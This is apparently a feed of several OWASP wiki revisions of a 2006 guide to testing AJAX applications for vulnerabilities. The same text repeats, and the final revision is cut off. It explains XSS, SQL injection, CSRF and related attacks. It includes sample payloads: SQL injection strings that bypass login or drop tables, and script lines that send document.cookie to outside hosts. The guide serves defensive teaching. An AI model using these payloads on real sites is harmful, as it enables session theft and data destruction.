&lt;br /&gt;
* Login Information and Intrusion Detection&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attacks and Vulnerabilities == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''XMLHttpRequest Vulnerabilities'''&amp;lt;br&amp;gt; AJAX uses XMLHttpRequest(XHR) object for all the back-end work.A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.&amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks like SQL Injection, Cross Site Scripting(XSS) etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Increased Attack Surface''' &amp;lt;br&amp;gt;&lt;br /&gt;
Unlike traditional Web applications that are completely on the server, Ajax applications extend across the client and server which also gives the client some powers.This throws in more additional ways to potentially inject malicious content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''SQL Injection'''&amp;lt;br&amp;gt;SQL Injection attacks are remote attacks on the database by allowing the attacker to modify the data on the database. &amp;lt;br&amp;gt; A typical SQL Injection attack could be as follows&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 1'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will always return one row (unless the table is empty) and it is likely to be the first entry in the table. For many applications, that entry is the administrative login; the one with the most privileges.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 2'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The above query helps in dropping all the tables and destructs the database.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
More on SQL Injection can be found at [http://www.owasp.org/index.php/SQL_Injection_AoC, SQL Injection (OWASP Testing Guide v2)].&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Cross Site Scripting'''&amp;lt;br&amp;gt;Cross Site Scripting is a technique by which mailcious content is injected in the inform of HTML links,Javascripts Alerts or in the  form of error messages.XSS exploits can be used for triggering variopus other attacks like cookie theft, account hijacking, and denial of service. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Browser and Ajax Requests look identical which the server is incapable of classifying them.I that case we do not know on who made the request in tghe background. A JavaScript can make a request for a resource using Ajax that occurs in the background without  the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information&lt;br /&gt;
such as cookies to the request. JavaScript code can then access the responseto this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site&lt;br /&gt;
Scripting (XSS) attack.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also a XSS attack could send requests for specific pages beside the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The XSS payload can use Ajax requests to autonomously inject itself into pages, and easily re-inject the same host with more XSS like a virus, all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods&lt;br /&gt;
to propagate itself invisibly to the user. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example''''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;howdy&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;document.location='http://www.example.com/pag.pl?'%20+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''Usage:''&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/login.php?variable=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.irr.com/cont.php?'+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will just redirect the page to an unknown and a malicious page after logging into the original page from where the request was made.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Client Side Injection Threats'''&amp;lt;br&amp;gt;&lt;br /&gt;
* ''XSS exploits'' can give access to any client-side data and can also modify the client-side code.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
* ''DOM Injection'' - It is a type pf XSS injection which happens through the sub-objects ,document.location or document.URL or document.referrer of the Document Object Model(DOM)&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;SCRIPT&amp;gt;&lt;br /&gt;
var pos=document.URL.indexOf(&amp;quot;name=&amp;quot;)+5;&lt;br /&gt;
document.write(document.URL.substring(pos,document.URL.length));&lt;br /&gt;
&amp;lt;/SCRIPT&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
* ''JSON/XML/XSLT Injection'' - Injection of malicious code in the XML content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Ajax Bridging'''&amp;lt;br&amp;gt;&lt;br /&gt;
For security purposes, Ajax applications can only connect back to the Website from which they come. For example, JavaScript with Ajax downloaded from yahoo.com cannot make connections to google.com. To allow Ajax to contact third-party sites in this manner, the Ajax service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site.A bridge could be considered a 'Web service to Web service' connection.An attacker could use this to access sites with restricted access.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Cross Site Request Forgery(XSRF)'''&amp;lt;br&amp;gt;&lt;br /&gt;
CSRF is an exploit where an attacker forces a victim’s web browser to send an HTTP request to any website of their choosing (the intranet is fair game as well). For example, while reading this post, the HTML/JavaScript code embedded in the web page could have forced your browser to make an off-domain request to your bank, blog, web mail, DSL router, etc. Invisibly CSRF could have transfered funds, posted comments, compromise email lists, or reconfigured the network. When a victim is forced to make a CSRF request it will be authenticated if they’ve recently logged-in. The worse part is all system logs would verify that you in fact mad the request. Its’ been done before, only not often, yet.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Denial of Service'''&amp;lt;br&amp;gt;Denial of Service is an old attack where an attacker or vulnerable application force the user to launch multiple XMLHttpRequests to a target application against the wishes of the user. Infact, browser domain restrictions make XMLHttpRequests useless in launching such attacks on other domains. Simple tricks like using image tags nested within a JavaScript loop can do the trick more effectively. AJAX being on the client-side makes the attack easier.&amp;lt;pre&amp;gt;&amp;lt;IMG SRC=&amp;quot;http://example.com/cgi-bin/ouch.cgi?a=b&amp;quot;&amp;gt;&amp;lt;/pre&amp;gt; &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Browser Based Attacks'''&amp;lt;br&amp;gt;The web browsers we use haven't been designed with security in mind. Most of the security features available in the browsers are based on the previous attacks. So our browsers are not prepared for newer attacks.&amp;lt;br&amp;gt;&lt;br /&gt;
There have been a number of new attacks on browsers like using the browser to hack into the internal network. The JavaScript first determines the internal network address of the PC. Then, using standard JavaScript objects and commands, it starts scanning the local network for Web servers. These can be computers that serve Web pages, but they can also include routers, printers, IP phones and other networked devices or applications that have a Web interface.The JavaScript scanner determines whether there is a computer at an IP address by sending a &amp;quot;ping&amp;quot; using JavaScript &amp;quot;image&amp;quot; objects. It then determines what servers are running by looking for image files stored in standard places, the traffic it receives back and the error messages it receives.&amp;lt;/p&amp;gt;&amp;lt;br&amp;gt;&amp;lt;p&amp;gt;Attacks that target Web browser and Web application vulnerabilities are often conducted by HTTP and, therefore, may bypass filtering mechanisms in place on the network perimeter. And the widespread deployment of Web applications and Web browsers gives attackers a large number of easily exploitable targets. For example, Web browser vulnerabilities can lead to the exploitation of vulnerabilities in operating system components and individual applications, which can lead to the installation of malicious code, including bots.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Major Attacks  ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''MySpace Attack'''&amp;lt;br&amp;gt;The Samy and Spaceflash worms both spread on MySpace, changing profiles on the hugely popular social-networking Web site. In ''Samy attack'',the XSS Exploit allowed &amp;lt;SCRIPT&amp;gt; in MySpace.com profile. AJAX was used to inject virus into MySpace profile of any user viewing infected page and forced any user viewing infected page to add user “Samy” to their friend list.It also appended the words “Samy is my hero” to victims profile&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Yahoo! Mail Attack'''&amp;lt;br&amp;gt;In June 2006, the Yamanner worm infected Yahoo's mail service. The worm, using XSS and Ajax, took advantage of a vulnerability in Yahoo mail's onload event handling. When an infected email was opened, the worm code executed its JavaScript, sending a copy of itself to all the yahoo contacts of the infected user. The infected email carried a spoofed 'From' address picked randomly from the infected system, which also made it look like an email from a known user.&lt;br /&gt;
&lt;br /&gt;
== Testing == &lt;br /&gt;
[[AJAX_Testing_AoC | 4.9 AJAX Testing ]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[AJAX_How_to_test_AoC | 4.9.2 How to Test AJAX]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Testing Tools ==&lt;br /&gt;
'''Charles''' &amp;lt;br&amp;gt; An HTTP proxy/monitor/Reverse Proxy that enables viewing all HTTP traffic between browser and the Internet, including requests, responses and HTTP headers (which contain the cookies and caching information). Capabilities include HTTP/SSL and variable modem speed simulation. Useful for XML development in web browsers, such as AJAX (Asynchronous Javascript and XML) and XMLHTTP, as it enables viewing of actual XML between the client and the server. Can autoconfigure browser's proxy settings on MSIE, Firefox, Safari. Java application from XK72 Ltd.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''' Ghost Train'''&amp;lt;br&amp;gt;Ghost Train is a tool to ease the development of functional tests for web sites. It’s a event recorder, and test generating and replaying add-on you can use with any web application.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Squish/Web (froglogic)'''&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.froglogic.com/squish Squish] is an automated, functional testing tool. It allows to record, edit and run web tests in different browsers (IE, Firefox, Safari, Konqueror, etc.) on different platforms without having to modify the test scripts. Supports different scripting languages for tests.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''JsUnit'''&amp;lt;br&amp;gt;JsUnit is a Unit Testing framework for client-side (in-browser) JavaScript. It is essentially a port of JUnit to JavaScript.&lt;br /&gt;
&lt;br /&gt;
== References == &lt;br /&gt;
&lt;br /&gt;
*[http://en.wikipedia.org/wiki/AJAX AJAX]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
;'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman.pdf Billy Hoffman, &amp;quot;Ajax(in) Security&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman_web.pdf Billy Hoffman, &amp;quot;Analysis of Web Application Worms and Viruses&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.spidynamics.com/assets/documents/AJAXdangers.pdf Billy Hoffman, &amp;quot;Ajax Security Dangers&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;'''Articles'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.adaptivepath.com/publications/essays/archives/000385.php Jesse James Garrett. “Ajax: A New Approach to Web Applications”, Adaptive Path]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.webappsec.org/projects/articles/071105.html Amit Klein. &amp;quot;DOM Based Cross Site Scripting or XSS of the Third Kind : A look at an overlooked flavor of XSS&amp;quot;, Web Application Security Consortium]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Anushshetty</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=12222</id>
		<title>Testing for AJAX Vulnerabilities (OWASP-AJ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=12222"/>
				<updated>2006-11-10T10:38:33Z</updated>
		
		<summary type="html">&lt;p&gt;Anushshetty: /* Testing */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Asynchronous Javascript and XML (AJAX)''' is one of the latest techniques used by web application developers to provide a user experience similar to that of a local application. Since Ajax is still a new term, not much of a thought has been given towards its security implications.The security issues in Ajax include&amp;lt;br&amp;gt;&lt;br /&gt;
* Create a larger attack surface with many more inputs to secure&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Expose internal functions of the Web application server&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Allow a client-side script to access third-party resources with no built-in security and encoding mechanisms&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Login Information and Intrusion Detection&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attacks and Vulnerabilities == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''XMLHttpRequest Vulnerabilities'''&amp;lt;br&amp;gt; AJAX uses XMLHttpRequest(XHR) object for all the back-end work.A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.&amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks like SQL Injection, Cross Site Scripting(XSS) etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Increased Attack Surface''' &amp;lt;br&amp;gt;&lt;br /&gt;
Unlike traditional Web applications that are completely on the server, Ajax applications extend across the client and server which also gives the client some powers.This throws in more additional ways to potentially inject malicious content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''SQL Injection'''&amp;lt;br&amp;gt;SQL Injection attacks are remote attacks on the database by allowing the attacker to modify the data on the database. &amp;lt;br&amp;gt; A typical SQL Injection attack could be as follows&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 1'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will always return one row (unless the table is empty) and it is likely to be the first entry in the table. For many applications, that entry is the administrative login; the one with the most privileges.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 2'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The above query helps in dropping all the tables and destructs the database.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
More on SQL Injection can be found at [http://www.owasp.org/index.php/SQL_Injection_AoC, SQL Injection (OWASP Testing Guide v2)].&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Cross Site Scripting'''&amp;lt;br&amp;gt;Cross Site Scripting is a technique by which mailcious content is injected in the inform of HTML links,Javascripts Alerts or in the  form of error messages.XSS exploits can be used for triggering variopus other attacks like cookie theft, account hijacking, and denial of service. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Browser and Ajax Requests look identical which the server is incapable of classifying them.I that case we do not know on who made the request in tghe background. A JavaScript can make a request for a resource using Ajax that occurs in the background without  the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information&lt;br /&gt;
such as cookies to the request. JavaScript code can then access the responseto this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site&lt;br /&gt;
Scripting (XSS) attack.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also a XSS attack could send requests for specific pages beside the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The XSS payload can use Ajax requests to autonomously inject itself into pages, and easily re-inject the same host with more XSS like a virus, all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods&lt;br /&gt;
to propagate itself invisibly to the user. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example''''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;howdy&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;document.location='http://www.example.com/pag.pl?'%20+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''Usage:''&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/login.php?variable=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.irr.com/cont.php?'+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will just redirect the page to an unknown and a malicious page after logging into the original page from where the request was made.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Client Side Injection Threats'''&amp;lt;br&amp;gt;&lt;br /&gt;
* ''XSS exploits'' can give access to any client-side data and can also modify the client-side code.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
* ''DOM Injection'' - It is a type pf XSS injection which happens through the sub-objects ,document.location or document.URL or document.referrer of the Document Object Model(DOM)&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;SCRIPT&amp;gt;&lt;br /&gt;
var pos=document.URL.indexOf(&amp;quot;name=&amp;quot;)+5;&lt;br /&gt;
document.write(document.URL.substring(pos,document.URL.length));&lt;br /&gt;
&amp;lt;/SCRIPT&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
* ''JSON/XML/XSLT Injection'' - Injection of malicious code in the XML content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Ajax Bridging'''&amp;lt;br&amp;gt;&lt;br /&gt;
For security purposes, Ajax applications can only connect back to the Website from which they come. For example, JavaScript with Ajax downloaded from yahoo.com cannot make connections to google.com. To allow Ajax to contact third-party sites in this manner, the Ajax service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site.A bridge could be considered a 'Web service to Web service' connection.An attacker could use this to access sites with restricted access.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Cross Site Request Forgery(XSRF)'''&amp;lt;br&amp;gt;&lt;br /&gt;
CSRF is an exploit where an attacker forces a victim’s web browser to send an HTTP request to any website of their choosing (the intranet is fair game as well). For example, while reading this post, the HTML/JavaScript code embedded in the web page could have forced your browser to make an off-domain request to your bank, blog, web mail, DSL router, etc. Invisibly CSRF could have transfered funds, posted comments, compromise email lists, or reconfigured the network. When a victim is forced to make a CSRF request it will be authenticated if they’ve recently logged-in. The worse part is all system logs would verify that you in fact mad the request. Its’ been done before, only not often, yet.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Denial of Service'''&amp;lt;br&amp;gt;Denial of Service is an old attack where an attacker or vulnerable application force the user to launch multiple XMLHttpRequests to a target application against the wishes of the user. Infact, browser domain restrictions make XMLHttpRequests useless in launching such attacks on other domains. Simple tricks like using image tags nested within a JavaScript loop can do the trick more effectively. AJAX being on the client-side makes the attack easier.&amp;lt;pre&amp;gt;&amp;lt;IMG SRC=&amp;quot;http://example.com/cgi-bin/ouch.cgi?a=b&amp;quot;&amp;gt;&amp;lt;/pre&amp;gt; &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Browser Based Attacks'''&amp;lt;br&amp;gt;The web browsers we use haven't been designed with security in mind. Most of the security features available in the browsers are based on the previous attacks. So our browsers are not prepared for newer attacks.&amp;lt;br&amp;gt;&lt;br /&gt;
There have been a number of new attacks on browsers like using the browser to hack into the internal network. The JavaScript first determines the internal network address of the PC. Then, using standard JavaScript objects and commands, it starts scanning the local network for Web servers. These can be computers that serve Web pages, but they can also include routers, printers, IP phones and other networked devices or applications that have a Web interface.The JavaScript scanner determines whether there is a computer at an IP address by sending a &amp;quot;ping&amp;quot; using JavaScript &amp;quot;image&amp;quot; objects. It then determines what servers are running by looking for image files stored in standard places, the traffic it receives back and the error messages it receives.&amp;lt;/p&amp;gt;&amp;lt;br&amp;gt;&amp;lt;p&amp;gt;Attacks that target Web browser and Web application vulnerabilities are often conducted by HTTP and, therefore, may bypass filtering mechanisms in place on the network perimeter. And the widespread deployment of Web applications and Web browsers gives attackers a large number of easily exploitable targets. For example, Web browser vulnerabilities can lead to the exploitation of vulnerabilities in operating system components and individual applications, which can lead to the installation of malicious code, including bots.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Major Attacks  ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''MySpace Attack'''&amp;lt;br&amp;gt;The Samy and Spaceflash worms both spread on MySpace, changing profiles on the hugely popular social-networking Web site. In ''Samy attack'',the XSS Exploit allowed &amp;lt;SCRIPT&amp;gt; in MySpace.com profile. AJAX was used to inject virus into MySpace profile of any user viewing infected page and forced any user viewing infected page to add user “Samy” to their friend list.It also appended the words “Samy is my hero” to victims profile&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Yahoo! Mail Attack'''&amp;lt;br&amp;gt;In June 2006, the Yamanner worm infected Yahoo's mail service. The worm, using XSS and Ajax, took advantage of a vulnerability in Yahoo mail's onload event handling. When an infected email was opened, the worm code executed its JavaScript, sending a copy of itself to all the yahoo contacts of the infected user. The infected email carried a spoofed 'From' address picked randomly from the infected system, which also made it look like an email from a known user.&lt;br /&gt;
&lt;br /&gt;
== Testing == &lt;br /&gt;
[[AJAX_How_to_test_AoC | How to Test AJAX]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[AJAX_Testing_AoC | AJAX Testing ]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Testing Tools ==&lt;br /&gt;
'''Charles''' &amp;lt;br&amp;gt; An HTTP proxy/monitor/Reverse Proxy that enables viewing all HTTP traffic between browser and the Internet, including requests, responses and HTTP headers (which contain the cookies and caching information). Capabilities include HTTP/SSL and variable modem speed simulation. Useful for XML development in web browsers, such as AJAX (Asynchronous Javascript and XML) and XMLHTTP, as it enables viewing of actual XML between the client and the server. Can autoconfigure browser's proxy settings on MSIE, Firefox, Safari. Java application from XK72 Ltd.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''' Ghost Train'''&amp;lt;br&amp;gt;Ghost Train is a tool to ease the development of functional tests for web sites. It’s a event recorder, and test generating and replaying add-on you can use with any web application.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Squish/Web (froglogic)'''&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.froglogic.com/squish Squish] is an automated, functional testing tool. It allows to record, edit and run web tests in different browsers (IE, Firefox, Safari, Konqueror, etc.) on different platforms without having to modify the test scripts. Supports different scripting languages for tests.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''JsUnit'''&amp;lt;br&amp;gt;JsUnit is a Unit Testing framework for client-side (in-browser) JavaScript. It is essentially a port of JUnit to JavaScript.&lt;br /&gt;
&lt;br /&gt;
== References == &lt;br /&gt;
&lt;br /&gt;
*[http://en.wikipedia.org/wiki/AJAX AJAX]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
;'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman.pdf Billy Hoffman, &amp;quot;Ajax(in) Security&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman_web.pdf Billy Hoffman, &amp;quot;Analysis of Web Application Worms and Viruses&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.spidynamics.com/assets/documents/AJAXdangers.pdf Billy Hoffman, &amp;quot;Ajax Security Dangers&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;'''Articles'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.adaptivepath.com/publications/essays/archives/000385.php Jesse James Garrett. “Ajax: A New Approach to Web Applications”, Adaptive Path]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.webappsec.org/projects/articles/071105.html Amit Klein. &amp;quot;DOM Based Cross Site Scripting or XSS of the Third Kind : A look at an overlooked flavor of XSS&amp;quot;, Web Application Security Consortium]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Anushshetty</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=12221</id>
		<title>Testing for AJAX Vulnerabilities (OWASP-AJ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=12221"/>
				<updated>2006-11-10T10:32:24Z</updated>
		
		<summary type="html">&lt;p&gt;Anushshetty: /* Testing */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Asynchronous Javascript and XML (AJAX)''' is one of the latest techniques used by web application developers to provide a user experience similar to that of a local application. Since Ajax is still a new term, not much of a thought has been given towards its security implications.The security issues in Ajax include&amp;lt;br&amp;gt;&lt;br /&gt;
* Create a larger attack surface with many more inputs to secure&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Expose internal functions of the Web application server&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Allow a client-side script to access third-party resources with no built-in security and encoding mechanisms&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Login Information and Intrusion Detection&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attacks and Vulnerabilities == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''XMLHttpRequest Vulnerabilities'''&amp;lt;br&amp;gt; AJAX uses XMLHttpRequest(XHR) object for all the back-end work.A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.&amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
